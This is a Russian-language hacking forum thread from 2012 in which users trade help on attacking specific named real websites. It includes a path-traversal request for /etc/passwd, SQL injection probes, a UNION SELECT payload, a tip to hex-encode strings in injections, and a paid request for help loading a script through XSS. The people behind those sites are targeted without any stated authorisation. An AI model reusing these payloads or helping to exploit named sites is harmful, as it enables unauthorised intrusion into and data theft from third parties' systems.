24.12.2012, 21:34
|
|
Участник форума
Регистрация: 07.01.2009
Сообщений: 237
С нами:
9126697
Репутация:
97
|
|
Сообщение от Vip77
http://www.ctege.info/index.php?option=1 как раскрутить?
Как минимум есть раскрытие путей. Несколько раз повводил отбалдовые запросы и получил вот это:
http://www.ctege.info/index.php?option=../../../../.../.../etc/passwd
Сообщение от None
FILE NOT FOUND: etcpasswd/7.html
URI:/etcpasswd/7.html
Fatal error: Using $this when not in object context in /var/www/user/data/www/ctege.org/includes/database/dbcache.php on line 206
|
|
|
24.12.2012, 21:57
|
|
Познающий
Регистрация: 26.11.2008
Сообщений: 40
С нами:
9188165
Репутация:
4
|
|
Сообщение от OxoTnik
Гугли обход фильтраций XSS
Зачем мне это гуглить, xss есть, мне просто нужно чтобы скрипт свой можно было подгрузить. В общем кто знает как это сделать стукните в личку даю 500р
|
|
|
|
25.12.2012, 01:29
|
|
Участник форума
Регистрация: 29.09.2012
Сообщений: 233
С нами:
7167926
Репутация:
20
|
|
Сообщение от herfleisch
Как минимум есть раскрытие путей. Несколько раз повводил отбалдовые запросы и получил вот это:
http://www.ctege.info/index.php?option=../../../../.../.../etc/passwd
sqli там тоже есть
|
|
|
|
25.12.2012, 04:57
|
|
Новичок
Регистрация: 26.12.2009
Сообщений: 3
С нами:
8618274
Репутация:
0
|
|
Как раскрутить это?
Код:
_ttp://www.howtotrade.ru/phorum/topusers.php?11,num=50%27
|
|
|
|
25.12.2012, 08:18
|
|
Новичок
Регистрация: 04.12.2008
Сообщений: 11
С нами:
9176038
Репутация:
8
|
|
Сообщение от qwwertty
Как раскрутить это?
Код:
_ttp://www.howtotrade.ru/phorum/topusers.php?11,num=50%27
Код:
select user_id, username, posts from phorum_users where posts > 0 order by posts DESC LIMIT 0,[INJECT]
Инъекция в LIMIT при использовании конструкции ORDER BY.
Вывод - никак не раскрутишь.
|
|
|
|
25.12.2012, 11:23
|
|
Постоянный
Регистрация: 05.09.2012
Сообщений: 388
С нами:
7202486
Репутация:
124
|
|
Как в таком запросе: http://www.miamacdonald.com/a.php?id=-42%20union%20select%201,version(),3,4,5,6%20-- вместо version() вывести произвольную строку? Заранее благодарен.
|
|
|
|
25.12.2012, 13:07
|
|
Познавший АНТИЧАТ
Регистрация: 12.07.2010
Сообщений: 1,546
С нами:
8334326
Репутация:
75
|
|
Сообщение от FunOfGun
Как в таком запросе:
http://www.miamacdonald.com/a.php?id=-42%20union%20select%201,version(),3,4,5,6%20--
вместо version() вывести произвольную строку? Заранее благодарен.
шифруешь строку в хекс и вставляешь
|
|
|
|
25.12.2012, 14:03
|
|
Участник форума
Регистрация: 07.01.2009
Сообщений: 237
С нами:
9126697
Репутация:
97
|
|
Сообщение от Vip77
sqli там тоже есть
SQLi там есть, но раскрутить ее у меня не получилось, ибо строка запроса тупо попадает в условие запроса. Кто-то более опытный, может быть, сможет что-то выжать.
|
|
|
|
26.12.2012, 16:59
|
|
Участник форума
Регистрация: 29.09.2012
Сообщений: 233
С нами:
7167926
Репутация:
20
|
|
Люди, помогите плиз найти раскрытие путей сайта http://www.sport.ru/
|
|
|
|
26.12.2012, 18:36
|
|
Постоянный
Регистрация: 25.04.2011
Сообщений: 505
С нами:
7921046
Репутация:
53
|
|
Сообщение от Vip77
Люди, помогите плиз найти раскрытие путей сайта http://www.sport.ru/
Сообщение от darky
В этой и только в этой теме вы можете задать вопрос про
способ заливки шелла, детальные разборки xss и sql на конкретных сайтах...
Первый пост темы
Ключевое слово тут - детальной.
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
